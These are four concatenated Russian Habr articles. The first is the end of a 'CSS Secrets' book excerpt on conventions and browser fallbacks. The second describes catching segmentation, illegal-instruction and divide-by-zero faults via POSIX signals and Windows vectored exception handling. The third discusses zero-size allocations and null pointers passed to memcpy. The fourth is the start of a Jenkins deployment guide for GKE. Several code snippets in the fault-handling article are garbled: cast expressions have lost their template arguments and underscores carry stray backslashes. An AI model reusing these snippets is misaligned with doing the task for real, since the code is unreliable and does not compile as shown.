— вы не плаваете в **математике уровня средней школы**: квадратные корни, теорема Пифагора, синусы, косинусы и логарифмы.
Однако для того чтобы читатели, не удовлетворяющие вышеперечисленным требованиям, также могли наслаждаться книгой, в начале некоторых секретов я добавила врезку **«Предварительные требования»**, в которой вкратце перечисляю аспекты CSS или предыдущие секреты, с которыми необходимо ознакомиться, чтобы понять и научиться применять текущий секрет. (Сюда, разумеется, не входят возможности CSS 2.1, потому что в этом случае врезка стала бы очень длинной.) Она выглядит так:
### Предварительные требования
Знание свойства box-shadow, базовое знание градиентов CSS, секрет «Гибкие эллипсы»
Таким образом, даже если какие-то вещи вам неизвестны, вы можете почитать о них, а затем снова вернуться к секрету **При условии, что предварительные требования соблюдены, секреты можно читать в любом порядке**, хотя имеет смысл все же придерживаться того порядка, в котором они представлены в книге, так как он не случаен и я посвятила достаточно времени обдумыванию последовательности.
Обратите внимание, что я упомянула о «разработчиках CSS» и что «навыки дизайна» среди представленных выше предположений не числятся. Важно помнить, что **это не книга о дизайне**. Хотя она неизбежно затрагивает определенные принципы дизайна и описывает некоторые улучшения взаимодействия с пользователем, «Секреты CSS» — это в первую очередь книга **о решении проблем с кодом**. CSS-код порождает некий визуальный результат, но это все еще код, точно такой же, как код SVG, WebGL/OpenGL или JavaScript Canvas API, а не дизайн. Для написания хорошего гибкого CSS требуется такое же аналитическое мышление, что и для программирования. Сегодня, когда большинство людей используют для своего CSS-кода препроцессоры со всеми их переменными, математикой, условными выражениями и циклами, написание кода CSS уже практически неотличимо от программирования!
**Это не означает, что я не приглашаю дизайнеров прочитать эту книгу.** Каждый, кто обладает достаточным опытом программирования на CSS, может почерпнуть из нее что-нибудь полезное, и многие талантливые дизайнеры также способны писать превосходный CSS-код. Однако необходимо отметить, что я **не** ставила себе целью в этой книге учить вас совершенствованию визуального дизайна или удобства использования веб-сайта, даже если это и произошло по факту.
### Форматирование и условные обозначения
Эта книга состоит из 47 «секретов», тематически сгруппированных в семь глав. Все эти секреты более-менее независимы и — при условии, что все предварительные требования выполняются, — с ними можно знакомиться в любом порядке. Демонстрационные примеры в каждом из секретов — это не готовые веб-сайты и даже не их части. Я намеренно делала их как можно меньше и проще, для того чтобы их было удобнее изучать. Я исхожу из предположения, что вы уже имеете представление о том, что намереваетесь реализовать. Цель этой книги — предоставлять не дизайнерские идеи, а решения по их реализации.
Каждый секрет разбит на два или более раздела. Первый раздел, озаглавленный «Проблема», содержит описание распространенной проблемы, которую мы будем решать с помощью CSS. Иногда в таком введении я также описываю популярные, но недостаточно хорошие решения данной проблемы (например, решения, требующие объемной разметки, жестко закодированных значений и т. п.) и чаще всего завершаю его одной из вариаций вопроса: существует ли лучший способ реализовать то же самое?
За описанием проблемы следует одно или несколько решений. Вдохновением для этой книги послужили семинары по CSS, которые я проводила на различных конференциях, поэтому я постаралась сохранить формат интерактивной презентации, насколько это возможно в книге. Каждому решению сопутствуют несколько иллюстраций, демонстрирующих визуальный результат каждого шага решения в случае, если он приводит к каким-то видимым изменениям. Поскольку иллюстрации не всегда находятся рядом с текстом, описывающим происходящее на них, все иллюстрации пронумерованы и я ссылаюсь на них по номерам.
Строковый код выделяется моноширинным шрифтом, а названия и коды цветов часто дополняются небольшой цветовой меткой (например, #f06). Блочные фрагменты кода выглядят так:
```
background: url("http://adamcatlace.jpg");
```
или так:
```
HTML
Sir Adam Catlace
```
Как вы заметили, в случае, когда язык во фрагменте кода отличается от CSS, он указан в заголовке листинга. Помимо этого, если в примере задействован только один элемент, без каких-либо псевдоклассов или псевдоэлементов, то обычно для краткости я опускаю в коде селекторы и фигурные скобки ({}).
Все примеры на JavaScript в этой книге относятся к простейшему уровню и не требуют никакой инфраструктуры или библиотек. Используется только одна вспомогательная функция, $$(), необходимая для того, чтобы было проще проходить по множеству элементов, соответствующих определенному селектору CSS. Вот определение этой функции:
```
JS
function $$(selector, context) {
context = context || document;
var elements = context.querySelectorAll(selector);
return Array.prototype.slice.call(elements);
}
```
### Занимательная страничка
Врезка с интересной информацией
Врезки, озаглавленные «Занимательная страничка», — это интересные заметки, связанные с обсуждаемой темой, например, историческая или техническая справка о рассматриваемой возможности CSS. Их не обязательно читать, для того чтобы понять или начать использовать основной материал, и все же они могут оказаться полезными любознательному читателю.
К каждому секрету прилагается один или несколько интерактивных примеров, для доступа к которым используются короткие и легкие в запоминании URL-адреса на сайте <http://play.csssecrets.io>. Ссылки на них выглядят так:
### Попробуйте сами
<http://play.csssecrets.io/polka>
Я настоятельно рекомендую вам внимательно изучать примеры из врезок «Попробуйте сами!», особенно если вы запутались в описании техники или зашли в тупик в попытке воспроизвести пример самостоятельно.
### Будущее
Будущие решения
Врезки «Будущее» содержат описание техник, для которых уже подготовлены черновые спецификации, но которые на момент написания этой книги еще не реализованы. Читателю следует всегда проверять, поддерживаются ли эти техники, так как вполне возможна ситуация, что они были реализованы уже после публикации книги. В случаях, когда возможность настолько малоизвестна, что упоминания о ней может не быть даже на веб- сайтах поддержки браузеров, эта врезка включает ссылку на тест, который читатель может загрузить, перейдя по короткому, легко запоминающемуся URL-адресу, такому, как показан ниже в примере «Протестируйте!». Оформление таких тестов обычно включает оттенки зеленого, когда возможность поддерживается, и оттенки красного в противном случае. Точные инструкции приведены в коде в форме комментариев.
### Протестируйте
<http://play.csssecrets.io/test-conic-gradient>
В конце почти всех секретов вы найдете список связанных спецификаций, который выглядит так:
### Связанны спецификации
— [CSS Backgrounds & Borders](http://w3.org/TR/css-backgrounds)
— [Selectors](http://w3.org/TR/selectors)
— [Scalable Vector Graphics](http://w3.org/TR/SVG)
Сюда входят ссылки на все спецификации, возможности из которых были упомянуты в секрете. Однако так же как и врезка «Предварительные требования», врезка «Связанные спецификации» не включает функциональность **CSS 2.1** (<http://w3.org/TR/CSS21>), иначе одни и те же возможности пришлось бы перечислять после каждого секрета. Это означает, что те несколько секретов, в которых мы обсуждаем только возможности из CSS 2.1, не дополняются врезкой «Связанные спецификации».
### Поддержка браузерами и резервные решения
Вероятно, самая необычная особенность этой книги — **полное отсутствие таблиц совместимости с браузерами**. Это осознанное решение, так как с учетом сегодняшних релизных циклов браузеров подобная информация неизбежно устаревает еще до того, как книга успевает попасть на полки магазинов. Я считаю, что **неточная информация о поддержке браузерами вводит разработчика в заблуждение, что еще хуже, чем отсутствие такой информации**.
Однако большинство представленных здесь секретов либо вполне прилично поддерживаются браузерами, либо для них существуют хорошие резервные решения. Если поддержка браузерами определенной техники находится на слишком низком уровне, вы увидите предупреждающий значок «Ограниченная поддержка» рядом с заголовком соответствующего решения, как здесь, рядом с этим абзацем. Этого должно быть достаточно, для того чтобы вы поняли: не стоит использовать данное решение, не проверив уровень поддержки браузерами, а также не позаботившись о качественных резервных решениях.
Иногда вы будете обнаруживать, что определенная возможность поддерживается, но ее реализация в разных браузерах немного отличается. Например, она может требовать **браузерного префикса** или ее **синтаксис может быть несколько иным**. В примерах в этой книге я использую только синтаксис без префиксов, как он определяется в стандартах. Однако практически в любой ситуации вы можете одновременно использовать разные варианты синтаксиса, и тогда нужный будет выбираться автоматически в соответствии с правилами каскадирования. По этой причине **стандартную версию всегда следует указывать последней**. Например, для получения вертикального линейного градиента от цвета yellow до red в книге я всегда буду использовать только стандартную версию:
```
background: linear-gradient(90deg, yellow, red);
```
Однако если вы хотите обеспечить поддержку очень старых браузеров, возможно, в итоге ваш код будет выглядеть примерно так:
```
background: -moz-linear-gradient(0deg, yellow, red);
background: -o-linear-gradient(0deg, yellow, red);
background: -webkit-linear-gradient(0deg, yellow, red);
background: linear-gradient(90deg, yellow, red);
```
Поскольку ландшафт этих различий настолько же нестабилен, как и поддержка браузерами, я ожидаю, что в вашей работе проверка таких вещей будет одним из этапов обязательного исследования перед применением той или иной возможности CSS, поэтому не обсуждаю их в решениях, представленных в данной книге. Аналогично, хорошей практикой считается обеспечение резервных решений, для того чтобы ваши веб-сайты не ломались в старых браузерах, пусть даже ценой более простецкого внешнего вида. Когда обходные решения очевидны, я не заостряю на них внимание, так как предполагаю, что вы знакомы с принципами каскадирования. Например, при определении градиента, скажем, такого, как показанный выше, вы могли бы добавить в самом начале сплошной цвет.
При выборе такого цвета рекомендуется останавливаться на среднем из двух цветов градиента (в данном случае rgb(255, 128, 0)):
```
background: rgb(255, 128, 0);
background: -moz-linear-gradient(0deg, yellow, red);
background: -o-linear-gradient(0deg, yellow, red);
background: -webkit-linear-gradient(0deg, yellow, red);
background: linear-gradient(90deg, yellow, red);
```
Однако иногда каскадирование не позволяет обеспечить надежное резервное решение. Тогда в качестве последнего средства можно прибегнуть к помощи инструментов, подобных [Modernizr](http://modernizr.com), которые добавляют классы вроде textshadow или no-textshadow к корневому элементу (), чтобы вы могли с помощью них **обращаться к элементам только в том случае, когда нужные возможности действительно поддерживаются (или не поддерживаются)**, например:
```
h1 { color: gray; }
.textshadow h1 {
color: transparent;
text-shadow: 0 0 .3em gray;
}
```
Если возможность, для которой вы пытаетесь создать резервное решение, достаточно новая, то можно использовать правило [supports](https://habrahabr.ru/users/supports/), «родное» для Modernizr. Например, предыдущий фрагмент кода превратится в такой:
```
h1 { color: gray; }
@supports (text-shadow: 0 0 .3em gray) {
h1 {
color: transparent;
text-shadow: 0 0 .3em gray;
}
}
```
Однако к использованию [supports](https://habrahabr.ru/users/supports/) следует подходить с большой осторожностью. Применив его здесь, мы ограничили описываемый эффект не просто браузерами, поддерживающими тени для текста, но и браузерами, поддерживающими дополнительно правило [supports](https://habrahabr.ru/users/supports/), а это куда более ограниченное множество.
И наконец, всегда есть вариант добавить несколько строк кода JavaScript ручной работы, который будет определять, поддерживается ли возможность, и добавлять классы в корневой элемент так же, как это делает Modernizr. Основной способ, как проверить, поддерживается ли свойство, — посмотреть, существует ли он, воспользовавшись объектом element.style любого элемента:
```
JS
var root = document.documentElement; //
if ('textShadow' in root.style) {
root.classList.add('textshadow');
}
else {
root.classList.add('no-textshadow');
}
```
Если нам нужно проверить несколько свойств, предыдущую проверку легко превратить в функцию:
```
JS
function testProperty(property) {
var root = document.documentElement;
if (property in root.style) {
root.classList.add(property.toLowerCase());
return true;
}
root.classList.add('no-' + property.toLowerCase());
return false;
}
```
Для того чтобы протестировать значение, нужно присвоить его свойству и проверить, сохранит ли его браузер. Поскольку здесь мы модифицируем стили, а не просто проверяем их существование, в тесте разумно использовать элемент-заглушку:
```
JS
var dummy = document.createElement('p');
dummy.style.backgroundImage = 'linear-gradient(red,tan)';
if (dummy.style.backgroundImage) {
root.classList.add('lineargradients');
}
else {
root.classList.add('no-lineargradients');
}
```
Это также легко преобразуется в функцию:
```
JS
function testValue(id, value, property) {
var dummy = document.createElement('p');
dummy.style[property] = value;
if (dummy.style[property]) {
root.classList.add(id);
return true;
}
root.classList.add('no-' + id);
return false;
}
```
Тестирование селекторов и [rules](https://habrahabr.ru/users/rules/) немного сложнее, но выполняется по тому же принципу: когда дело доходит до CSS, браузеры отбрасывают все, что они не понимают, так что для проверки того, была ли возможность распознана, можно динамично применить ее и посмотреть, сохранил ли ее браузер. Необходимо всегда помнить, однако, что даже если браузер в состоянии **разобрать синтаксис** возможности CSS, это **не гарантирует, что таковая возможность реализована правильно и что она вообще реализована в принципе**.
Более подробно с книгой можно ознакомиться на [сайте издательства](http://www.piter.com/collection/all/product/sekrety-css-idealnye-resheniya-ezhednevnyh-zadach)
[Оглавление](http://storage.piter.com/upload/contents/978549602082/978549602082_X.pdf)
[Отрывок](http://storage.piter.com/upload/contents/978549602082/978549602082_p.pdf)
Для Хаброжителей скидка 25% по купону — **Веру**
Купон действует на книгу, а также на всю серию [O'Reilly](http://www.piter.com/collection/bestsellery-oreilly?page_size=&order=descending_age&q=&only_available=true) | https://habr.com/ru/post/307364/ | null | ru | null |
# Обработка многократно возникающих SIGSEGV-подобных ошибок
Тема изъезжена и уже не мало копий было сломано из-за неё. Так или иначе люди продолжают задаваться вопросом о том может ли приложение написанное на C/C++ не упасть после разыменования нулевого указателя, например. Краткий ответ — да, даже на Хабре есть статьи на сей счёт.
Одним из наиболее частых ответов на данный вопрос является фраза "А зачем? Такого просто не должно случаться!". Истинные причины того почему люди продолжают интересоваться данной тематикой могут быть разные, одной из них может быть лень. В случая когда лениво или дорого проверять всё и вся, а исключительные ситуации случаются крайне редко можно, не усложняя кода, завернуть потенциально падающие фрагменты кода в некий `try`/`catch` который позволит красиво свернуть приложение или даже восстановится и продолжить работу как ни в чём не бывало. Наиболее ненормальным как раз таки может показаться желание снова и снова ловить ошибки, обычно приводящие к падению приложения, обрабатывать их и продолжать работу.
Итак попробуем создать нечто позволяющее решать проблему обработки SIGSEGV-подобных ошибок. Решение должно быть по максимуму кроссплатформенным, работать на всех наиболее распространённых десктопных и мобильных платформах в однопоточных и многопоточных окружениях. Так же сделаем возможным существование вложенных `try`/`catch` секций. Обрабатывать будем следующие виды исключительных ситуаций: доступ к памяти по неправильным адресам, выполнение невалидных инструкций и деление на ноль. Апофеозом будет то, что произошедшие аппаратные исключения будут превращаться в обычные C++ исключения.
Наиболее часто для решения аналогичным поставленной задачам рекомендуется использовать POSIX сигналы на не Windows системах, а на Windows Structured Exception Handling (SEH). Поступим примерно следующим образом, но вместо SEH будем использовать Vectored Exception Handling (VEH), которые очень часто обделены вниманием. Вообще, со слов Microsoft, VEH является расширением SEH, т.е. чем-то более функциональным и современным. VEH чем-то схож c POSIX сигналами, для того чтобы начать ловить какие либо события обработчик надо зарегистрировать. Однако в отличии от сигналов для VEH можно регистрировать несколько обработчиков, которые будут вызываться по очереди до тех пор пока один из них не обработает возникшее событие.
В довесок к обработчикам сигналов возьмём на вооружение пару `setjmp`/`longjmp`, которые позволят нам возвращаться туда куда нам хочется после возникновения аварийной ситуации и каким-либо способом обрабатывать эту самую исключительную ситуацию. Так же, чтобы наша поделка работала в многопоточных средах нам понадобится старый добрый thread local storage (TLS), который также доступен во всех интересующих нас средах.
Самое простое, что необходимо сделать чтобы просто не упасть в случае аварийной ситуации — это написать свой обработчик и зарегистрировать его. В большинстве случаев людям достаточно просто собрать необходимое количество информации и красиво свернуть приложение. Так или иначе обработчик сигналов регистрируется всем известным способом. Для POSIX-совместимых систем это выглядит следующим образом:
```
stack_t ss;
ss.ss_sp = exception_handler_stack;
ss.ss_flags = 0;
ss.ss_size = SIGSTKSZ;
sigaltstack(&ss, 0);
struct sigaction sa;
sigemptyset(&sa.sa_mask);
sa.sa_flags = SA_ONSTACK;
sa.sa_handler = signalHandler;
for (int signum : handled_signals)
sigaction(signum, &sa, &prev_handlers[signum - MIN_SIGNUM]);
```
Выше приведённый фрагмент кода регистрирует обработчик для следующий сигналов: `SIGBUS`, `SIGFPE`, `SIGILL`, `SIGSEGV`. Помимо этого с помощью вызова `sigaltstack` указываться, что обработчик сигнала должен запускаться на альтернативном, своём собственном, стеке. Это позволяет выживать приложению даже в условиях stack overflow, который легко может возникнуть в случае бесконечно рекурсии. Если не задать альтернативный стек, то подобного рода ошибки не возможно будет обработать, приложение будет просто падать, т.к. для вызова и выполнения обработчика просто не будет стека и с этим ничего нельзя будет сделать. Так же сохраняются указатели на ранее зарегистрированные обработчики, что позволит их вызывать, если наш обработчик поймёт, что делать ему нечего.
Для Windows код намного короче:
```
exception_handler_handle = AddVectoredExceptionHandler(1, vectoredExceptionHandler);
```
Обработчик один, он ловит сразу все события (не только аппаратные исключения надо сказать) и нет никакой возможности что-либо сделать со стеком как в Linux, например. Единица, подаваемая первым аргументом в функцию `AddVectoredExceptionHandler`, говорит о том, что наш обработчик должен вызываться первым, перед любыми другими уже имеющимися. Это даёт нам шанс быть первыми и предпринять необходимые нам действия.
Сам обработчик для POSIX систем выглядит следующим образом:
```
static void signalHandler(int signum)
{
if (execution_context) {
sigset_t signals;
sigemptyset(&signals);
sigaddset(&signals, signum);
sigprocmask(SIG_UNBLOCK, &signals, NULL);
reinterpret_cast(static\_cast(execution\_context))->exception\_type = signum;
longjmp(execution\_context->environment, 0);
}
else if (prev\_handlers[signum - MIN\_SIGNUM].sa\_handler) {
prev\_handlers[signum - MIN\_SIGNUM].sa\_handler(signum);
}
else {
signal(signum, SIG\_DFL);
raise(signum);
}
}
```
Надо сказать, что для того чтобы наш обработчик сигналов стал многоразовым, т.е. мог вызываться снова и снова в случае возникновения новых ошибок, мы должны при каждом заходе разблокировать сработавший сигал. Это необходимо в тех случаях, когда обработчик знает, что исключительная ситуация возникла в участке кода, который завёрнут в некие `try`/`catch` о которых речь пойдёт позже. Если же аварийная ситуация сложилась там где мы её совсем не ожидали, дела будут переданы ранее зарегистрированному обработчику сигналов, если такового нет, то вызывается обработчик по умолчанию, который завершит терпящее аварию приложение.
Обработчик для Windows выглядит следующим образом:
```
static LONG WINAPI vectoredExceptionHandler(struct _EXCEPTION_POINTERS *_exception_info)
{
if (!execution_context ||
_exception_info->ExceptionRecord->ExceptionCode == DBG_PRINTEXCEPTION_C ||
_exception_info->ExceptionRecord->ExceptionCode == 0xE06D7363L /* C++ exception */
)
return EXCEPTION_CONTINUE_SEARCH;
reinterpret_cast(static\_cast(execution\_context))->dirty = true;
reinterpret\_cast(static\_cast(execution\_context))->exception\_type = \_exception\_info->ExceptionRecord->ExceptionCode;
longjmp(execution\_context->environment, 0);
}
```
Как уже упоминалось выше VEH обработчик на Windows ловит много чего ещё помимо аппаратных исключений. Например при вызове `OutputDebugString` возникает исключение с кодом `DBG_PRINTEXCEPTION_C`. Подобные события мы обрабатывать не будем и просто вернём `EXCEPTION_CONTINUE_SEARCH`, что приведёт к тому что ОС пойдёт искать следующий обработчик, который обработает данное событие. Также мы не хотим обрабатывать C++ исключения, которым соответствует магический код `0xE06D7363L` не имеющий нормального имени.
Как на POSIX-совместимых системах так и на Windows в конце обработчика вызывается `longjmp`, который позволяет нам вернуться вверх по стеку, до самого начала секции `try` и обойти её попав в ветку `catch`, в которой можно будет сделать все необходимые для восстановления работы действия и продолжить работу так как будто ничего страшного не произошло.
Для того, чтобы обычный C++ `try` начал ловить не свойственные ему исключительные ситуации необходимо в самое начало поместить небольшой макрос `HW_TO_SW_CONVERTER`:
```
#define HW_TO_SW_CONVERTER_UNIQUE_NAME(NAME, LINE) NAME ## LINE
#define HW_TO_SW_CONVERTER_INTERNAL(NAME, LINE) ExecutionContext HW_TO_SW_CONVERTER_UNIQUE_NAME(NAME, LINE); if (setjmp(HW_TO_SW_CONVERTER_UNIQUE_NAME(NAME, LINE).environment)) throw HwException(HW_TO_SW_CONVERTER_UNIQUE_NAME(NAME, LINE))
#define HW_TO_SW_CONVERTER() HW_TO_SW_CONVERTER_INTERNAL(execution_context, __LINE__)
```
Выглядит довольно кудряво, но по факту здесь делается очень простая вещь:
1. Вызывается `setjmp`, который позволяет нам запомнить место где мы начали и куда нам надо вернуться в случае аварии.
2. Если по пути выполнения случилось аппаратное исключение, то `setjmp` вернёт не нулевое значение, после того как где-то по пути был вызван `longjmp`. Это приведёт к тому, что будет брошено C++ исключение типа HwException, которое будет содержать информацию о том какого вида ошибка случилась. Брошенное исключение без проблем ловится стандартным `catch`.
Упрощённо приведённый выше макрос разворачивается в следующий псевдокод:
```
if (setjmp(environment))
throw HwException();
```
У подхода `setjmp`/`longjmp` есть один существенный недостаток. В случае обычных C++ исключений, происходит размотка стека при которой вызываются деструкторы всех созданных по пути объектов. В случае же с `longjmp` мы сразу прыгаем в исходную позицию, никакой размотки стека не происходит. Это накладывает соответствующие ограничения на код, который находится внутри таких секций `try`, там нельзя выделять какие-либо ресурсы ибо есть риск их навсегда потерять, что приведёт к утечкам.
Ещё одним ограничением является то, что `setjmp` нельзя использовать в функциях/методах объявленных как `inline`. Это ограничение самого `setjmp`. В лучшем случае компилятор просто откажется собирать подобный код, в худшем он его соберёт, но полученный бинарный файл будет просто аварийно завершать свою работу.
Самым ненормальным действием, которое приходится принимать после обработки аппаратного исключения на Windows является необходимость вызова `RemoveVectoredExceptionHandler`. Если этого не сделать, то после каждого входа в наш обработчик VEH и выполнения `longjmp` там будет складываться ситуация как-будто наш обработчик был зарегистрирован ещё один раз. Это приводит к тому, что при каждой последующей аварийной ситуации обработчик будет вызываться всё больше и больше раз подряд, что будет приводить к плачевным последствиям. Данное решение было найдено исключительно путём многочисленных магических экспериментов и нигде никак не документировано.
Для того, чтобы решение работало в многопоточных окружениях необходимо чтобы каждый поток имел собственное место где можно сохранять контекст исполнения с помощью `setjmp`. Для этих целей и используется TLS, в использовании которого нет ничего хитрого.
Сам контекст исполнения оформлен в виде простого класса имеющего следующие конструктор и деструктор:
```
ExecutionContext::ExecutionContext() : prev_context(execution_context)
{
#if defined(PLATFORM_OS_WINDOWS)
dirty = false;
#endif
execution_context = this;
}
ExecutionContext::~ExecutionContext()
{
#if defined(PLATFORM_OS_WINDOWS)
if (execution_context->dirty)
RemoveVectoredExceptionHandler(exception_handler_handle);
#endif
execution_context = execution_context->prev_context;
}
```
Данный класс имеет поле `prev_context`, которое даёт нам возможность создавать цепочки из вложенных секций `try`/`catch`.
Полный листинг описанного выше изделия доступен в GitHub'е:
<https://github.com/kutelev/hwtrycatch>
В доказательство того, что всё работает как описано имеется автоматическая сборка и тесты под платформы Windows, Linux, Mac OS X и Android:
<https://ci.appveyor.com/project/kutelev/hwtrycatch>
<https://travis-ci.org/kutelev/hwtrycatch>
Под iOS это тоже работает, но за неимением устройства для тестирования нет и автоматических тестов.
В заключение скажем, что подобный подход можно использовать и в обычном C. Надо лишь написать несколько макросов, которые будут имитировать работу `try`/`catch` из C++.
Так же стоит сказать, что использование описанных методов в большинстве случаев является очень плохой идеей, особенно, если учесть, что на уровне сигналов нельзя выяснить, что же привело к возникновению `SIGSEGV` или `SIGBUS`. Это равновероятно может быть как и чтение по неправильным адресам так и запись. Если же чтение по произвольным адресам является операцией не деструктивной, то запись может приводить к плачевным результатам таким как разрушением стека, кучи или даже самого кода. | https://habr.com/ru/post/332626/ | null | ru | null |
# Объекты нулевого размера
В чём разница между следующими парами длин и указателей?
```
size_t len1 = 0;
char *ptr1 = NULL;
size_t len2 = 0;
char *ptr2 = malloc(0);
size_t len3 = 0;
char *ptr3 = (char *)malloc(4096) + 4096;
size_t len4 = 0;
char ptr4[0];
size_t len5 = 0;
char ptr5[];
```
Во многих случаях все пять выражений приведут к одному результату. В других – их поведение может кардинально отличаться. Одно из очевидных различий состоит в возможности передать указатель для его освобождения, но его мы рассматривать не будем.
Первый случай интересный, но слишком сильно отличается от других, поэтому его пока отложим.
#### malloc(0)
Поведение malloc(0) определено стандартами. Можно вернуть нулевой или уникальный указатель. Второй вариант во многих реализациях выполняется внутренним увеличением длины на единицу (которая затем обычно округляется до 16). По правилам, разыменовать такой указатель нельзя, но обычно несколько байт всё-таки размещаются, и поэтому такая программа не упадёт.
Возврат NULL приводит к возможности возникновения интересного бага. Часто возврат NULL из malloc расценивается как ошибка.
```
if ((ptr = malloc(len)) == NULL)
err(1, "out of memory");
```
Если len равна нулю, это приведёт к неправомерному сообщению об ошибке – если не добавить дополнительную проверку && len != 0. Также можно вступить в секту адептов «непроверки malloc».
В OpenBSD malloc обрабатывает ноль по-другому. Размещение данных нулевого размера возвращает куски страниц, которые были защищены через mprotect() с ключом PROT\_NONE. Попытка разыменовать такой указатель приведёт к падению.
Отметим, что требования к уникальным указателям запрещают «мухлевать» при их использовании.
```
int thezero;
void *
malloc(size_t len)
{
if (len == 0) return &thezero
}
void
free(void *ptr)
{
if (ptr == &thezero) return;
}
```
Такая реализация не соответствует правилам, поскольку последовательные вызовы будут возвращать одно и то же значение. Поэтому второй случай похож как на первый, так и на третий – в зависимости от реализации.
#### Другие случаи
Если malloc не выдаст ошибку, то варианты 3, 4 и 5 в большинстве случаев работают идентично. Основное отличие будет в использовании sizeof(ptr) / sizeof(ptr[0]), например в цикле. Это приведёт к неверному ответу, правильному ответу или вообще ни к чему не приведёт, обломавшись на этапе компиляции. 4-й вариант не разрешён стандартом, но компиляторы, скорее всего, его проглотят.
Наибольше отличие этих вариантов от первого состоит в том, что они проходят проверку на null. Это будет похоже на разницу между пустым массивом и отсутствующим массивом. И точно так же пустая строка не равна null-строке, хотя занимает один байт в памяти.
#### null-объекты
Вернёмся к первому варианту и нулевым объектам. Рассмотрим следующий вызов:
```
memset(ptr, 0, 0);
```
0 байт ptr присваиваем 0. Какие из пяти перечисленных указателей позволят сделать такой вызов? 3, 4 и 5. 2-й – если это уникальный указатель. Но что, если ptr это NULL?
В стандарте С в разделе «Использование библиотечных функций» сказано:
> Если у аргумента функции недопустимое значение (значение находится вне домена функции, указатель указывает на память вне области доступной программе, или же указатель является нулевым), то поведение не будет определено.
В разделе «Соглашения по функциям работы со строками» уточняется:
> Если аргумент, объявленный как size\_t n, определяет длину массива в функции, значение n может быть равным нулю при вызове этой функции. Если только в описании конкретной функции не указано обратное, значения аргументов-указателей должны быть допустимыми.
Судя по всему, результат memset'а 0 байт на NULL будет неопределённым. В документации по memset, memcpy и memmove не указано, что они могут принимать нулевые указатели. В качестве контрпримера можно привести описание snprintf, в котором сказано: «Если n равен нулю, ничего не записывается, и s может быть нулевым указателем». Документация к функции read из POSIX похожим образом описывает, что чтение нулевой длины не считается ошибкой, но реализация может проверить другие параметры на ошибку – например, на недопустимые буферные указатели.
А что на практике? Самый простой способ обработки нулевой длины в функциях типа memset или memcpy – не входить в цикл и ничего не делать. Обычно в С неопределённое поведение вызывает какую-либо реакцию, но в данном случае уже определено, что с нормальными указателями ничего не происходит. Проверка на ненормальность указателей была бы лишней работой.
Проверка на ненулевые, но недопустимые указатели, довольно сложна. memcpy этим вообще не занимается, позволяя программе просто упасть. Вызов read тоже ничего не проверяет. Он делегирует проверку функции copyout, которая заводит хэндлер для обнаружения ошибок. И хотя можно добавить проверку на null, такие указатели не более недопустимы для этих функций, нежели 0x1 или 0xffffffff, для которых нет никакой особой обработки.
#### Облом
На практике это означает наличие большого количества кода, подразумевающего (специально или случайно), что нулевые указатели и нулевая длина допустимы. Я решил провести эксперимент, добавив в memcpy вывод ошибок и выход, в случае, если указатель оказывается NULL, и установил новую libc.
```
Feb 11 01:52:47 carbolite xsetroot: memcpy with NULL
Feb 11 01:53:18 carbolite last message repeated 15 times
```
Нда, это не отняло много времени. Интересно, что он там делает:
```
Feb 11 01:53:18 carbolite gdb: memcpy with NULL
Feb 11 01:53:19 carbolite gdb: memcpy with NULL
```
Ясно, понятно. Эти сообщения, похоже, очень быстро надоедят. Возвращаем всё, как было.
#### Последствия
Я занялся эти вопросом, поскольку на пересечении областей «не определено, но должно работать» и оптимизации компиляторов С не происходит ничего хорошего. Умный компилятор может увидеть вызов memcpy, отметить оба указателя, как допустимые, и убрать проверки на null.
```
int backup;
void
copyint(int *ptr)
{
size_t len = sizeof(int);
if (!ptr)
len = 0;
memcpy(&backup, ptr, len);
}
```
Но код выше, очевидно, сработает не так, как надо, если компилятор удалить проверку на ноль и будет передан нулевой указатель.
Этот вопрос волнует меня, потому что в прошлом уже сталкивался со случаями, когда подобная оптимизация разыменований и проверок приводила к пробелам в безопасности. Для софта, не готового к такому высокому уровню соответствия стандартам, это достаточно грустные новости.
Поначалу мне не удавалось убедить компилятор удалять проверку на ноль после «разыменования» memcpy, но это не значит, что этого не может случиться. gcc 4.9 говорит, что эта проверка будет удалена оптимизацией. В OpenBSD пакет gcc 4.9 (содержащий множество патчей) не удаляет по умолчанию проверку, даже при –O3, но если разрешить "-fdelete-null-pointer-checks", это приводит к удалению проверок. Не знаю, что насчёт clang – первые тесты показывают, что не удаляет, но гарантий нет. В теории он тоже сможет провести такую оптимизацию. | https://habr.com/ru/post/268989/ | null | ru | null |
# Мастерим задание на деплой в GKE без плагинов, смс и регистрации. Одним глазком заглядываем Jenkins'у под пиджак
Все началось с того, что тимлид одной из наших команд разработчиков попросил в тестовом режиме выставить наружу их новое приложение, которое накануне было подвергнуто контейнеризации. Я выставил. Примерно через 20 минут поступила просьба обновить приложение, потому что там допилили очень нужную штуку. Я обновил. Еще через пару часов… ну, вы и так догадываетесь, что стало происходить дальше…
Я, признаться, довольно ленив (я же ранее в этом признавался? нет?), и, учитывая тот факт, что тимлиды имеют доступ в Jenkins, в котором у нас весь CI/CD, подумал: да пусть он сам деплоит, сколько заблагорассудится! Вспомнил анекдот: дай человеку рыбу и он будет сыт день; назови человека Сыт и он будет Сыт всю жизнь. И пошел *мастрячить джобу*, которая бы умела деплоить в кубер контейнер с приложением любой успешно собранной версии и передавать в него любые значения *ENV* (мой дедушка, — филолог, преподаватель английского в прошлом, — сейчас бы покрутил пальцем у виска и очень выразительно посмотрел бы на меня, прочитав это предложение).
Итак, в заметке я расскажу о том, как я научился:
1. Динамически обновлять задания в Jenkins'е из самого задания или из других заданий;
2. Подключаться к облачной консоли (Cloud shell) с ноды с установленным агентом Jenkins'а;
3. Деплоить рабочую нагрузку (workload) в Google Kubernetes Engine.
На самом деле, я, конечно, несколько лукавлю. Предполагается, что хотя бы часть инфраструктуры у вас в гугловом облаке, а, следовательно, вы его пользователь и, разумеется, у вас есть учетная запись GCP. Но заметка не об этом.
Это очередная моя шпаргалка. Такие заметки мне хочется писать лишь в одном случае: передо мной стояла задача, я изначально не знал, как ее решить, решение не нагуглилось в готовом виде, поэтому я его гуглил по частям и в итоге задачу решил. И для того, чтобы в будущем, когда я забуду, как я это сделал, мне не пришлось вновь все гуглить по кускам и компилировать воедино, я пишу себе такие шпаргалки.
> **Disclaimer:** 1. Заметка писалась «для себя», на роль *best practice* не претендует. С удовольствием почитаю варианты «а лучше было сделать так» в комментариях.
>
> 2. Если прикладную часть заметки считать солью, то, как и все мои предыдущие заметки, эта — слабосолевой раствор.
Динамическое обновление настроек заданий в Jenkins
--------------------------------------------------
Предвижу ваш вопрос: а при чем тут вообще динамическое обновление джобы? Вписал ручками значение строкового параметра и вперед!
